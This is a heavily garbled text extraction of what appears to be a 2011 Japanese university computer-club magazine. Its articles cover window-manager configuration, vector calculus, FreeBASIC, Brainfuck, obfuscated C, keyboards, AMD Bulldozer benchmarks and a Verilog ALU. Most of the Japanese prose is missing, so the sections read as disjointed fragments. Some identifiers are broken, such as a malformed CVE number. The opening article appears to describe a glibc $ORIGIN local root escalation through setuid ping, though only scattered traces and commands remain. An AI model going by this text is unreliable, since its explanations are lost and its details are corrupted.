open("$ORIGIN/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/libJIS.so", O_RDONLY) = 3

libJIS.so ping root

ping root

root

iputils: ping.c� �
int

main(int argc, char **argv)

{

...

uid = getuid();

if (setuid(uid)) {

perror("ping: setuid");

exit(-1);

}
� �

3 exploitable

3 9 renda

sudo

$ sudo chown root: libJIS.so

root#

root

pam_unix

exploit code

renda Scientific Linux RHEL RHEL

RHEL

RHEL

RHEL
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CentOS 5 Scientific Linux root

RHEL

Debian $ORIGIN

Debian BTS CVE-211-0536

Debian 2

renda RHEL5,6 *4 RHEL5,6

4

3 11 MMA

4

1

Red Hat *5 GPG

Red Hat

4 5 glibc

CentOS CentOS 5.6 1 CentOS 5

*6*7 glibc CentOS 5.6 4 9

glibc 4 14

5

*4

*5 https://access.redhat.com/security/team/

*6 CentOS
*7 CentOS 5.7 centos-release-cr

CentOS-announce
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Gnome
noy

noy@mma.club.uec.ac.jp

Gnome KDE

WM

1

X

(1) WM

(2) GTK

(3)

(4)

(5)

(6)

2 WM

2.1

evilwm ( 1) evilwm WM

•

•

•

1 evilwm



hyakumangoku    Autumn 2011      31

Ctrl + Alt + (y|u|b|n)

Ctrl + Alt

2.2

.xinitrc

.xinitrc� �
evilwm -fc \#262729 -fg \#262729 -bg \#262729 -bw 1 -term gnome-terminal -snap 10 &

� �

2.3

WM

twm X WM

fluxbox WM

dwm WM *1

3 GTK

3.1

Elegant Brit

3.2

~/.themes GTK gtk-theme-switch

~/.gtkrc-2.0

.gtkrc-2.0� �
gtk-theme-name = "Elegant Brit"

� �

3.3

Top 18 Professional Linux GTK Themes

GNOME-Look.org GTK

deviantART SNS Gnome

4

4.1

Faenza

*1 WM
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4.2

.icons ~/.gtkrc-2.0/ *2

.gtkrc-2.0� �
gtk-icon-theme-name = "Faenza"

� �

4.3

GTK GNOME-Look.org deviantART

5

5.1

MigMix 1P MigMix 1M MigMix

• M+

• IPA

• Microsoft Word

Ricty Ricty

• Inconsolata

• Migu 1M MigMix 1M

•

•

• en em

5.2

Linux GentooLinux

� �
# emerge mix-mplus-ipa

# emerge ricty

� �
GTK

.gtkrc-2.0� �
gtk-font-name= "MigMix 1P 10"

� �

5.3

*2 Faenza
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6

6.1

3

xbindkeys

gmrun xbindkeys

wbar Dock

6.2

xbindkeys .xbindkeys Ctrl+Alt+

.xbindkeysrc� �
"chromium"

control+alt+p

"chromium"

control+alt+b:1

"gmrun"

control+alt+o
� �

wbar .wbar wbarconf GUI

xbindkeys wbar X .xinitrc wbarconf .wbar

.xinitrc� �
xbindkeys &

wbar -bpress -above-desk -po left -vbar &

� �

6.3

Dock

• Cairo-Dock

• Avant Window Navigator

7

7.1

Conky Conky

• Portage

• RSS

•
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7.2

.xinitrc conky

.xinitrc� �
conky &

� �
Conky .conkyrc lifehacker *3

TEXT --

(n) -- n

� .conkyrc �

use_xft yes

xftfont verdana:size=8

alignment top_right

xftalpha 0.8

own_window yes

own_window_type override

own_window_transparent yes

own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager

double_buffer yes

draw_shades no

draw_outline no

draw_borders no

stippled_borders 10

border_margin 4

border_width 1

default_shade_color grey

default_outline_color black

default_color 262729

use_spacer none

no_buffers yes

uppercase no

color1 27714B

TEXT

${color D7481B}${font Radio Space:size=45} Makoto

${font}

-- (11) --

${color}${font PizzaDude Bullets:size=16}v${font} Up: ${upspeed eth0} Kb

/s

${font PizzaDude Bullets:size=16}r${font} Down: ${downspeed eth0} Kb/s

${font PizzaDude Bullets:size=16}M${font} Upload: ${totalup eth0}

${font PizzaDude Bullets:size=16}S${font} Download: ${totaldown eth0}

*3 Linux Conky http://www.lifehacker.jp/2008/10/conky.html
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${color}${font StyleBats:size=16}A${font} CPU0: ${cpu cpu0}% ${cpubar cp

u0}

${font StyleBats:size=16}A${font} CPU1: ${cpu cpu1}% ${cpubar cpu1}

${font StyleBats:size=16}A${font} CPU2: ${cpu cpu2}% ${cpubar cpu2}

${font StyleBats:size=16}A${font} CPU3: ${cpu cpu3}% ${cpubar cpu3}

${color}${font PizzaDude Bullets:size=16}J${font} $mem / $memmax

${font StyleBats:size=18}P${font} Work: ${uptime_short}

-- (26) --

${color D7481B}${font Radio Space:size=14}${time %A %d %Y}

${font Radio Space:size=55}${time %H:%M}

� �
2 makoto CPU Conky

7.3

• date

• xclock

• pclock

8

*4 *5

2

9

Gnome evilwm WM

*4 stalonetray
*5 http://f.hatena.ne.jp/noy41/20110720101010
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Twm -Twm Twm -
mernao

mernao@mma.club.uec.ac.jp

Twm MMA TWM

1 TWM

TWM Twm X Window System

Linux Gnome Ubuntu Fedora

Gnome KDE Xfce,LXDE

Unix Linux Twm

Twm X

X Twm

Gnome

X Twm

Twm Twm

Twm

2

Twm FreeBSD X twm .xsession

.xsession .xsession

.xsession� �
exec twm� �

Gnome .xsession ... XDM F1

(xterm) twm

Twm xterm XDM F1

Ubuntu Twm Ubuntu

� �
sudo apt-get install twm

� �
Twm GDM(Ubuntu )

TWM

TWM

XDM F1 xterm
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1

3 Twm

Twm

Twm Gnome

FreeBSD xterm

Ubuntu Debian Show-

IconManager IconManager Gnome

Windows

IconManager

4 Twm

Twm ... .twmrc

.twmrc FreeBSD

man twm /usr/local/lib/X11/twm/system.twmrc

/usr/local/share/X11/twm/system.twmrc Ubuntu man

/usr/lib/X11/twm/system.twmrc

man

( ) system.twmrc

� .twmrc �

NoGrabServer

RestartPreviousState

DecorateTransients

NoTitle #

ShowIconManager # IconManager

IconManagerGeometry "=80x10+0+0" # IconManager

IconifyByUnmapping #

RandomPlacement #

#

ResizeFont "-adobe-helvetica-bold-r-normal--*-120-*-*-*-*-*-*"

MenuFont "-adobe-helvetica-bold-r-normal--*-100-*-*-*-*-*-*"

IconFont "-adobe-helvetica-bold-r-normal--*-100-*-*-*-*-*-*"

IconManagerFont "-adobe-helvetica-bold-r-normal--*-100-*-*-*"

#

Color
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{

BorderColor "slategrey"

DefaultBackground "rgb:0/0/a"

DefaultForeground "gray85"

MenuBackground "rgb:0/0/a"

MenuForeground "gray85"

MenuBorderColor "slategrey"

MenuTitleBackground "gray70"

MenuTitleForeground "rgb:0/0/a"

IconBackground "rgb:0/0/a"

IconForeground "gray85"

IconBorderColor "gray85"

IconManagerBackground "rgb:0/0/a"

IconManagerForeground "gray85"

}

#

MoveDelta 3

Function "move-or-lower" { f.move f.deltastop f.lower }

Function "move-or-raise" { f.move f.deltastop f.raise }

Function "move-or-iconify" { f.move f.deltastop f.iconify }

Function "raisestop" {f.deltastop f.raise}

Button1 = : root : f.menu "defops" # root

# IconManager

Button1 = : icon : f.function "move-or-iconify"

Button1 = : iconmgr : f.iconify

# meta HHK mod*

# meta 1

Button1 = mod4 : all : f.function "move-or-raise"

# meta

Button3 = mod4 : all : f.resize

# meta

Button2 = mod4 : all : f.delete

#

menu "defops"

{

"Twm" f.title

"Show Iconmgr" f.showiconmgr

"Hide Iconmgr" f.hideiconmgr

"" f.nop

"GnomeTerm" f.exec "exec gnome-terminal&" # GnomeTerminal

"Firefox" f.exec "exec firefox&" # Firefox

"audacious" f.exec "exec audacious&" # audacious
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"PeraPeraPrev" f.exec "exec p3&" # PeraPeraPrev

"" f.nop

"Xlock" f.exec "exec xlock&" # Xlock

"Kill" f.destroy # Kill

"Delete" f.delete #

"" f.nop

"Restart" f.restart # Twm ( )

"Exit" f.quit # Twm

}
� �

NoTitle Twm

META + META +

(Gnome META

)

shift, control, lock, meta, mod1, mod2, mod3,

mod4, mod5 meta ALT (meta META ) mod1-5 ?

xmodmap

xmodmap� �
xmodmap: up to 4 keys per modifier, (keycodes in parentheses):

shift Shift_L (0x32), Shift_R (0x3e)

lock

control Control_L (0x25), Control_L (0x42), Control_R (0x6d)

mod1 Alt_L (0x40), Alt_R (0x71), Meta_L (0x9c)

mod2 Num_Lock (0x4d)

mod3

mod4 Super_L (0x73), Super_R (0x74), Super_L (0x7f), Hyper_L (0x80)

mod5 Mode_switch (0x5d), ISO_Level3_Shift (0x7c)

� �

2

Super HHK (META )

( !) xmodmap

xmodmap

xev

AutoRise

( ?)

Xlock

GnomeTerminal !

GnomeTerminal

Gnome ...

man twm

5

Twm
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5.1

Twm xv FreeBSD

/usr/ports/japanese/xv xv .xsession

.xsession

xv root ( )

.xsession� �
xv -root -max -quit ~/Pictures/wallpaper.jpg

� �
exec twm Twm xv

5.2

Gnome ibus Twm

.xsession ibus scim

exec twm

.xsession� �
#ibus

export XMODIFIERS="@im=ibus"

ibus-daemon -d -x

#scim

export XMODIFIERS=@im=scim

scim -d� �
scim Twm ( ) scim emacs

6 Twm

FreeBSD X

ibus-mozc Ubuntu Gnome

NetworkManager nm-connection-editor LAN

Wikipedia Twm

*1

IED JED Twm

? Twm

?

*1 http://ja.wikipedia.org/wiki/Twm
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yamazaki
yamazaki@mma.club.uec.ac.jp

div, rot, grad

*1

1

( )

*2

*3 2010 (

)

div rot grad

rot(

) rot

div, rot, grad

*4

2 nabla

( )

3

*1 ( B )
*2

*3

*4
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�
�

�
�� �

∇ = i
∂

∂x
+ j

∂

∂y
+ k

∂

∂z
(1)

� �

” ” ∇

”Nebel” ” ” ∆(delta) ” (atled)”

φ (gradient) �
�

�
�gradient� �

grad φ = ∇φ =

(

i
∂

∂x
+ j

∂

∂y
+ k

∂

∂z

)

φ

=

(

∂φ

∂x
i +

∂φ

∂y
j +

∂φ

∂z
k

)

(2)

� �

A (rotation curl)�
�

�
�rotation� �

rotA = ∇× A =

(

i
∂

∂x
+ j

∂

∂y
+ k

∂

∂z

)

× (Axi + Ayj + Azk)

=

(

∂Az

∂y
−

∂Ay

∂z

)

i +

(

∂Ax

∂z
−

∂Az

∂x

)

j +

(

∂Ay

∂x
−

∂Ax

∂y

)

k (3)

� �

∇× A =

∣

∣

∣

∣

∣

∣

i j k

∂/∂x ∂/∂y ∂/∂z
Ax Ay Az

∣

∣

∣

∣

∣

∣

(4)

A (divergence)�
�

�
�divergence� �

divA = ∇ A =

(

i
∂

∂x
+ j

∂

∂y
+ k

∂

∂z

)

(Axi + Ayj + Azk)

=

(

∂Ax

∂x
+

∂Ay

∂y
+

∂Az

∂z

)

(5)

� �
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3 gradient

grad grad

φ = 2x + 5y x y

(

∂φ

∂x
= 2

)

(6)

(

∂φ

∂y
= 5

)

(7)

x y
(

∂φ

∂x
, 0

)

i

(

0,
∂φ

∂y

)

j

φ x y ∇φ

∇φ = 2i + 5j x +2 y +5

E φ grad

E = −∇φ (8)

φ E

E

∇φ ∇φ E

−∇φ

4 divergence

div ”

” ” ” x, y, z A x

(x0, y0, z0) dx, dy, dz

x Ax

dydzAx (x0 + dx) − dydzAx (x0) dx dxdydz V

dxdydz
Ax (x0 + dx) − Ax (x0)

dx
= V

Ax (x0 + dx) − Ax (x0)

dx
(9)

dx 0

lim
dx→0

V
Ax (x0 + dx) − Ax (x0)

dx
= V

∂Ax

∂x
(10)

y z

V

(

∂Ax

∂x
+

∂Ay

∂y
+

∂Az

∂z

)

(11)

V div
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divA =

(

∂Ax

∂x
+

∂Ay

∂y
+

∂Az

∂z

)

div A x, y, z

” ” ” ”

r E (r) ρ (r)

ε0

∇ E (r) =
1

ε0

ρ (r) (12)

5 rotation(curl)

( )

rot div grad

rot

xy z

1 y

y y

y h

Ay (x + h) Ay (x) Ay

Ay (x + h) − Ay (x)

h
(13)
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h 0

lim
h→0

Ay (x + h) − Ay (x)

h
=

∂Ay

∂x
(14)

h x Ay x

div

y x

2 x

h Ax Ax (y + h)

Ax (y) Ax (y) Ax (y + h)

Ax (y + h)

Ax (y) − Ax (y + h)

h
(15)

h 0

lim
h→0

Ax (y) − Ax (y + h)

h
= −

∂Ax

∂y
(16)

h y

∂Ay

∂x
−

∂Ax

∂y
(17)

rot z xz yz rot y x

rot

( )

∇× E (r) = 0 (18)

B = µ0H

∇× E (r) = −
∂B

∂t
(19)
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6 Maxwell’s aligns

−

∇× E = −
∂B

∂t
(20)

∇ E = ρ / ε0 D = ε0E

∇ D = ρ (21)

∇ B = 0 (22)

- j

∇× H −
∂D

∂t
= j (23)

(20), (21), (22), (23)

7

[1] (1983) ( 〈 〉 ) 272pp.

[2] (2005) - - 255pp.

[3] (2011) 〈 〉 300pp.

[4] Tips:div,rot,grad 〈http://homepage3.nifty.com/iromono/PhysTips/divrotgrad.html〉

(2011/10/26 )

[5] div 〈http://hooktail.sub.jp/vectoranalysis/divAnotherCoordinates/〉 (2011/10/25 )

[6] rot 〈http://hooktail.sub.jp/vectoranalysis/rotAnotherCoordinates/〉 (2011/10/25 )

[7] grad 〈http://hooktail.sub.jp/vectoranalysis/gradAnotherCoordinates/〉 (2011/10/25 )

[8] grad 〈http://hooktail.sub.jp/vectoranalysis/Gradient/〉 (2011/10/25 )

[9] Chapter6 〈http://scphysblank.tubakurame.com/elct/elctch6.html〉

(2011/10/26 )
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hayakawa
hayakawa@mma.club.uec.ac.jp

web

1

twitter

IME

2

2.1

2.2

web wikipedia,twitter, , ,

2.3

html xml,rss

( ) python Beautiful Soup

xml lxml

python

2.4

twitter

@ URL

URL

@
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2.5

n-gram

2.6

( )

2.7

3

4
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FreeBASIC
nomeaning

nomeaning@mma.club.uec.ac.jp

BASIC FreeBASIC

1

http://www.freebasic.net/ PC

64bit Linux 32bit ncurses

2 Fizz Buzz

FizzBuzz

Dim i As In t e g e r
For i = 1 To 100

I f i Mod 3 = 0 Then
Pr int ”Fizz ” ;

End I f
I f i Mod 5 = 0 Then

Pr int ”Buzz ” ;
End I f
I f i Mod 3 <> 0 AndAlso i Mod 5 <> 0 Then

Pr int i ;
End I f
Pr int

Next

Quick Basic QuickBasic AndAlso(C

”&&”) AndAlso For Visual Basic

3 C

FreeBASIC crt.bi Include C

”!” ”@”

#Inc lude ” c r t . b i ”
Dim A As Integer ,B As In t e g e r
Scanf ”%d%d” ,@A,@B
Pr in t f !”%d\n” ,A+B

4

FreeBASIC C

Asm End Asm

Dim x As In t e g e r=5
Dim y As In t e g e r=3
Dim z As In t e g e r
Asm

mov eax , [ x ]
Add eax , [ y ]
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mov [ z ] , eax
End Asm
Pr int z

5

QuickBasic FreeBASIC

’extern ”c++”’ C++

#Inc lude ” c r t . b i ”
Namespace Numerics

Type Complex
Dim Real As Double
Dim Imag As Double
Dec la re Constructor (ByVal R As Double=0, I As Double=0)

End Type
Constructor Complex(ByVal R As Double , I As Double )

Real=R
Imag=I

End Constructor
Operator + (ByRef A As Complex , ByRef B As Complex) As Complex

Dim Resul t As Complex
Resu l t . Real=A. Real+B. Real
Resu l t . Imag=A. Imag+B. Imag
Return Resu l t

End Operator
Operator − (ByRef A As Complex , ByRef B As Complex) As Complex

Dim Resul t As Complex
Resu l t . Real=A. Real−B. Real
Resu l t . Imag=A. Imag−B. Imag
Return Resu l t

End Operator
Operator ∗ (ByRef A As Complex , ByRef B As Complex) As Complex

Dim Resul t As Complex
Resu l t . Real=A. Real∗B. Real−A. Imag∗B. Imag
Resu l t . Imag=A. Real∗B. Imag+A. Imag∗B. Real
Return Resu l t

End Operator
End Namespace

Dim A As Numerics . Complex = Numerics . Complex (1 , 2 )
Dim B As Numerics . Complex = Numerics . Complex (3 , 4 )
Using Numerics
Dim C As Complex

C=A+B

Pr in t f !”% f+%f i ” ,C. Real ,C. Imag

FreeBASIC

6

Sub Thread Sub ( )
For i As In t e g e r = 0 To 5

Pr int i



hyakumangoku    Autumn 2011      51

Sleep 50
Next

End Sub

Dim Thread (0 To 3) As Any Ptr

For i As In t e g e r = 0 To 3
Thread ( i ) = ThreadCreate (@Thread Sub )
I f Thread ( i ) = 0 Then

Pr int ”Error on making threads ”
End 1

End I f
Next

For i As In t e g e r = 0 To 3
ThreadWait ( thread ( i ) )

Next

FreeBASIC ThreadCreate ThreadCreate

7

FreeBASIC C++

GNU Compilers Collections
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Brainf*ck
menonu

menonu@mma.club.uec.ac.jp

8 1Byte Brainfuck

1 Brainfuck

Brainfuck 8

( ) C

2

[0-255] 1byte 0

- 255 255 + 0 0

8

� �
• > 1

• < 1

• + 1

• - 1

• .

• , 1byte

• [ 0 ]

• ] [

� �

3

3.1 Hello World!
� �
>+++++++++[<+++++++++>-]<++++++.++++++++++++++.>++++++[<------>-]<.

>+++++++[<+++++++>-]<.-------------.>++++++[<---->-]<..------------.

: WeAreMMA
� �
WeAreMMA W ASCII 87 87 87 +

n n+1
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� �
>+++++++++[<+++++++++>-]

[0] -> [81]
� �

+ [] .

3.2

� �
++++++++++>++++<[>>+<<-]>[>+<-]>

[10][4][0] -> [0][0][40]
� �
0 1 2� �
++++++++++>++++<[>>+<<-]>[>-<-]>

[10][4][0] -> [0][0][6]
� �
0 1 2� �
++++++++++>++++[<[->>>+<<<]>->>[<+<<+>>>-]<<]>

[10][4][0][0] -> [10][0][40][0]
� �
0 1 2 4

� �
,.

� �
echo

4

8

*1

*1
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wataj
wataj.ex@gmail.com

IOCCC C

1

IOCCC International Obfuscated C Code Contest Rules C

2

mma.c !

2.1

gcc -o mma mma.c

2.2

gcc -E ASCII

3

mma.c http://wiki.mma.club.uec.ac.jp/wataj IOCCC

http://www.ioccc.org/

4 mma.c

#ifndef O___OOOOOOOOOOOOO___OOOO___OOOOOOOOOOOOO___OOOOOOOOOOOO___OOOOOOOOO

#define OO(O) write(1,O,1)

#define O___OOOOOOOOOOOOO___OOOO___OOOOOOOOOOOOO___OOOOOOOOOOOO___OOOOOOOOO

main(){char O___O[]={64|1<<1<<1<<1|1<<1<<1|1},*O__O=O___O;int

#endif

O_O=OO(O___O);*O__O=

#ifdef O___OOOOOOOOOOOOO___OOOO___OOOOOOOOOOOOO___OOOOOOOOOOOO___OOOOOOOOO

#ifdef O____OOOOOOOOOOO____OOOO____OOOOOOOOOOO____OOOOOOOOOOO_____OOOOOOOO

#ifdef O_____OOOOOOOOO_____OOOO_____OOOOOOOOO_____OOOOOOOOOO___O___OOOOOOO

#ifdef O______OOOOOOO______OOOO______OOOOOOO______OOOOOOOOO___OOO___OOOOOO

#ifdef O___O___OOOOO___O___OOOO___O___OOOOO___O___OOOOOOOO___OOOOO___OOOOO

#ifdef O___OO___OOO___OO___OOOO___OO___OOO___OO___OOOOOOO___OOOOOOO___OOOO

#ifdef O___OOO___O___OOO___OOOO___OOO___O___OOO___OOOOOO___OOOO________OOO

#ifdef O___OOOO_____OOOO___OOOO___OOOO_____OOOO___OOOOO___OOOOOOOOOOO___OO

#define O___OOOOO___OOOOO___OOOO___OOOOO___OOOOO___OOOO___OOOOOOOOOOOOO___O

0
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#endif

#ifndef O___OOOO_____OOOO___OOOO___OOOO_____OOOO___OOOOO___OOOOOOOOOOO___OO

#define O___OOOO_____OOOO___OOOO___OOOO_____OOOO___OOOOO___OOOOOOOOOOO___OO

(*O__O<<(O_O<<O_O)|(O_O<<O_O))^O_O<<O_O<<O_O

#endif

#endif

#ifndef O___OOO___O___OOO___OOOO___OOO___O___OOO___OOOOOO___OOOO________OOO

#define O___OOO___O___OOO___OOOO___OOO___O___OOO___OOOOOO___OOOO________OOO

*O__O^O_O<<O_O<<O_O|O_O<<O_O

#endif

#endif

#ifndef O___OO___OOO___OO___OOOO___OO___OOO___OO___OOOOOOO___OOOOOOO___OOOO

#define O___OO___OOO___OO___OOOO___OO___OOO___OO___OOOOOOO___OOOOOOO___OOOO

~(~*O__O|(*O__O>>((O_O<<O_O<<O_O)|(O_O<<O_O))<<(O_O<<O_O<<O_O)))

#endif

#endif

#ifndef O___O___OOOOO___O___OOOO___O___OOOOO___O___OOOOOOOO___OOOOO___OOOOO

#define O___O___OOOOO___O___OOOO___O___OOOOO___O___OOOOOOOO___OOOOO___OOOOO

*O__O|*O__O>>(O_O<<O_O)|*O__O>>(O_O<<O_O<<O_O)|*O__O>>((O_O<<O_O<<O_O)|(O_O<<O_O))

#endif

#endif

#ifndef O______OOOOOOO______OOOO______OOOOOOO______OOOOOOOOO___OOO___OOOOOO

#define O______OOOOOOO______OOOO______OOOOOOO______OOOOOOOOO___OOO___OOOOOO

*O__O>>O_O<<O_O<<O_O>>O_O

#endif

#endif

#ifndef O_____OOOOOOOOO_____OOOO_____OOOOOOOOO_____OOOOOOOOOO___O___OOOOOOO

#define O_____OOOOOOOOO_____OOOO_____OOOOOOOOO_____OOOOOOOOOO___O___OOOOOOO

*O__O^(O_O<<O_O<<O_O<<O_O<<O_O)-(O_O<<O_O<<O_O)

#endif

#endif

#ifndef O____OOOOOOOOOOO____OOOO____OOOOOOOOOOO____OOOOOOOOOOO_____OOOOOOOO

#define O____OOOOOOOOOOO____OOOO____OOOOOOOOOOO____OOOOOOOOOOO_____OOOOOOOO

*O__O<<O_O>>(O_O<<O_O)<<O_O|O_O

#endif

#endif

;

#ifndef O___OOOOO___OOOOO___OOOO___OOOOO___OOOOO___OOOO___OOOOOOOOOOOOO___O

#include "mma.c"

#endif

#ifndef wataj

#define wataj

}

#endif
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kakakaya
kakakaya@mma.club.uec.ac.jp

1

GUI PC

Dvorak

2 Dvorak

HHKB Dvorak

QWERTY Dvorak

Dvorak Dvorak

Kinesis Dvorak

Dvorak

QWERTY QWERTY

hjkl *1

Dvorak

*1 WASD C-XCV
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3 5

(1)

PC

PC

(2)

(3)

PC

(4)

(5)

4

•
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PC*2

•

Apple Magic Trackpad

PC

*3

Apple

Windows7 PC

•

*4

PC

Windows8

•

ThinkPad *5

PC

G H B

PC

*2 Let’snote
*3

*4 MMA
*5 ThinkPad T520 T Esc Del
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Bulldozer
thunder lab

thunder lab@mma.club.uec.ac.jp

2011 10 23 AMD Bulldozer CPU 8 CPU
*1

1

2008 AMD Bulldozer Orochi 2009 11

AMD 2009 Financial Analyst Day Bulldozer

Orochi Zambezi Zambezi 2011

2011

6 90 9

90 8

AM3+

Bulldozer

2 Bulldozer

Bulldozer AMD K10

2 1 8 4 2

1 1

L1 2MB L2 L3 8MB

PhenomII 45nm 32nm AMD

8 TDP125W

SSE4 AVX AES FMA4 AVX AES

FMA4

Turbo Core TDP

Max Turbo All Core

Turbo

FX-8150 3.6GHz TC 4.2GHz

4GHz CPU Bulldozer

AMD

prescott*2

*3 Bulldozer 8.429GHz

Prescott 90nm 65nm

CedarMill

*1 2011 10 27
*2 Pentium4
*3
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Zambezi 315mm2

3

Bulldozer FX

FX AM3+ AM3

BIOS AM3 9

SB950 8 9 USB3.0 SATA6Gbps

4

8

PhenomII 6 CPU 4

AMD FX 245 3 4000

75 /

*4 PhenomII 6 1 6000

PhenomII 4 *5

PhenomII 6

CPU AMD bulldozer

Zambezi Bulldozer Piledriver Piledriver

5

*6

*4

*5 PhenomIIX2 555 4
*6 11 4
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11 4 8 FX-8150,FX-8120 FX-8150 500

AMDer FX-8120

2

8 AMD

CPU

CPU BIOS

CPU PhenomIIX6

BIOS UEFI UEFI

3 1 UEFI OS

100

CPU

*7 4 1 4GB

2 4

4

PhenomII CPU

1 FX
2 8

FX-8120 Turbo

1

CPU PhenomIIX2 555@4core+3.8GHz FX-8120@ FX-8120@4GHz FX-8120@4.12GHz

M/B 970A-G45

TEAM DDR3-1333 4GBx4(16GB) TEAM DDR3-1333 4GBx2

HDD Western Digital WD5000AAKX

CPU KABUTO APSALUS120

*7
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3 PhenomII CPU-Z 4 FX-8120@4.3GHz

6

Super Pi CineBench R11.5 x264 Super Pi 104

CineBench 1CPU xCPUs x264 aviutil 1 TS H264

2011 OP*8

aviutil x264

CPU PhenomIIX2 555@4core+3.8GHz FX-8120@ @4GHz @4.12GHz

Super Pi 18 23 21 21

CineBench R11.5(1CPU) 1.12 0.90 0.98 1.00

CineBench R11.5(xCPUs) 4.34 5.02 6.44 6.70

x264 4 10 3 36 2 58

K10

1100T 4

4 CPU 4

8 4 8

2 4

4GHz

Cinebench xCPUs

0.7pt 8

x264 30

4GHz

CPU

*9

100MHz

*8

*9
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4GHz 4.12GHz

4.34GHz

4GHz x264 3

4.12GHz CineBench xCPUs 6.70pt 4

*10 4.12GHz x264

CineBench 4.12GHz 1.00pt K10

1.00pt

7

CPU

Bulldozer FX

*11 CPU

6 PhenomII

x264

INTEL

AMDer

Bulldozer

*10 4
*11
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ゲン・ゴー（機械記述言語３２ kcol）
suima8

はじめに
「機械言語を理解できたよ！お兄ちゃん！」と妹が言ってきたときに兄としてどう反応すれば良いでしょうか？部屋に置いてある適当
なプロセッサーのデータシートを渡して、ハンドアセンブルさせて見ましょう。未知のプロセッサーと出会ってもデータシートを読ん
でオペコードマップ、アドレッシングモード、レジスタフィールドを読み解いてアセンブリ言語のソースリストを手作業で機械語に変
換できる妹が私は欲しい。画面から出てきて欲しい。

1 ハードウェア記述言語
今回の目的は CPUの中核である ALUを構築することです。初めに妹がどうとか言いましたが、あれは読者の関心を引くた

めのもので、ここから先は真面目に書きます。

1.1 Verilog

今回仕様する Velirogは VHDLと並んで世界中で用いられているハードウェア記述言語です。ハードウェア記述言語はプログ
ラムを書く様にデータの流れと記憶のタイミングを記述することでディジタル回路を設計することができます。実際のチップや
プログラム可能な ICである FPGA上に設計した論理回路を配置、配線が可能ですが、今回は方法は紹介できません。興味が沸
いた方は各自で調べてください。私に直に聞いてくれても大丈夫です。また、私は Linux(だいたいのディストリ)と windowsの
環境で Icarus Verilog と GTKWaveを使用して今回のプログラムを動かしました。HAIKUではうまくうまくできませんでし
た。
では早速、加速器を記述してみます。

� �
/* 1 bit adder */

moule adder ( input a, b, output y );

assign y = a + b ; //add a b

endmodule
� �
Verilogでは 1つのまとまりを持った回路をモジュールと呼びます。モジュールの名前と入出力を定義し、終わりは endmodule

とします。プログラムだと分かりにくいので、ブロック図にします。a,b,2 つのデータ入力とコマンド入力 s、出力として y を
持っています。a,bが input、yが output、ｓが add命令になります。

y

a b
scom

図 1 ALUのモデル

これを adder.vなど、好きな名前で保存してください。拡張子は.vが一般的ですね。次にこれをシミュレートします。そのた
めにテストベンチを書きます。はい。これが厄介で、Verilogでどんな簡単なモジュールを書いても、テストベンチが書けないと
シミュレーションできません。でも、ソースコードを眺めると何となく分かると思います。

1
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� �
/* test bench */

’timescale 1ns/1ps

module test;

parameter STEP = 10;

reg ina, inb;

wire outs;

adder adder_1(.a(ina), .b(inb), .y(outy));

initial begin;

$ dumpfilea("dder.vcd");

$ dumpfile(0, adder_1);

ina <= 1’b0;

inb <= 1’b0;

# STEP

$ display("a:% b b:% b s:% b", ina, inb, outy);

ina <= 1’b0;

inb <= 1’b1;

# STEP

$ display("a:% b b:% b s:% b", ina, inb, outy);

ina <= 1’b1;

inb <= 1’b0;

#STEP

$ display("a:% b b:% b s:% b", ina, inb, outy);

ina <= 1’b1;

inb <= 1’b1;

# STEP

$ display("a:% b b:% b s:% b", ina, inb, outy);

ina \<= 1’b0;

inb <= 1’b0;

$finish;

end

endmodule
� �
書けたでしょうか？では GTKWaveでシミュレーションしましょう。IcarusVerilogを仕様しているとして

� �
iverilog test.v adder.v -o adder

� �
ではシミュレートを実行しましょう。� �

vvp adder //実行

a:0 b:0 s:0

a:0 b:1 s:1

a:1 b:0 s:1

a:1 b:1 s:0
� �
次に波形を見てみましょう。テストベンチでダンプしたファイルの指定して立ち上げてください。

2
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� �
gtkwave adder.vcd

� �
どうでしょうか。波形は表示されたでしょうか？本当は FPGAから出力されたものをオシロスコープで見たいものです。

1.2 ALUの実装

さあ！ALUを実装！の前に少し ALUについての補足をします。先程実装した ALUですが、X＋ Yは計算できますが、X＋
YーW＋ Zはどのように実装すれば良いでしょうか？以下の図のように数を増やせばこの計算ができますね。

y

a b
scom

com s
a b

y
com

y
s

a b

A B C D

図 2 ALUのモデル

ただし、これでは式が長くなると、どんどん ALUの数も増えていきます。そこで数を記憶しておく補助を設けます。これを
レジスタと言い、アキュムレータと呼ばれるシステムです。皆さんが電卓を使うときに無意識にこのアキュムレータの考え方を
使っていますね。

com s
a b

y

accumulator
clock

図 3 簡単なデータパス

これでかなりの計算が出来るようになりましたが、この様な計算はどうでしょう。
(SL X)+(SL Y)

SLは 1ビット左シフトという意味です。結果を取っておく場所が必要になります。そこでメモリを使います。俗に言うノイマン
型コンピュータとかいうやつです。

3
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com s
a b

y

accumulator
clock

Memory

datain

we

Address

図 4 メモリ付きデータパス

つまり、これが CPUです。簡単ですね！では ALUをサクッと実装していきます。
1ビットではあんまりなのでビット数を拡張することにします。ちなみにハードウェアで拡張するとは廃船を何本か束にして扱
うことが多いです。これを BUS(バス)と呼びます。Verilogではブラケットでくくって、MSB(最上位ビット)：LSB(最下位ビッ
ト)の形でその範囲を表します。今回は簡単のために LSBを常に 0とし、入出力 16bit、コマンド 3bitの ALUにします。� �
module alu(

input [15:0] a,b,

input [2:0] com,

output [15:0] y);

� �

com 出力 記号
ooo a THA

001 b THB

010 a AND b AND

011 a OR b OR

100 aを 1bitシフト SL

101 bを 1bitシフト SR

110 a+b ADD

111 ab AUB

これを verilogで記述すれば以下のようになる� �
assign y = com==’3b000 ? a:

com==’3b001 ? b:

com==’3b010 ? a & b:

com==’3b011 ? a | b:

com==’3b100 ? a<<1:

com==’3b101 ? a>>1:
� �
ここで、コードにマジックナンバー (3’b000とか 15:0)を直接か書かない方が良いので、defineで定義して完成です。

4
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� �
’define DATA_W 16

’define SEL_W 3

’define ALU_THA ’SEL_W’000

’define ALU_THB ’SEL_W’b001

’define ALU_AND ’SEL_W’b010

module alu (

input [’DATA_W-1:0] a, b,

input[’SEl_W-1:0] s,

output[’DATA_W-1.0] y);

assign s =’ALU_THA ? a:

s =’ALU_THB ? b:

s =’ALU_AND ? a & b: a+ b;
� �
この回路のテストベンチは省略するが、1bitの時のものを参考に作れるので、頑張ってください。きっと命令したときに出力
波形がこれでもう ALUが実装出来ちゃいましたよ！CPU恐るに足りず。ですね。この後の発展としてはデータパスを仕様して、
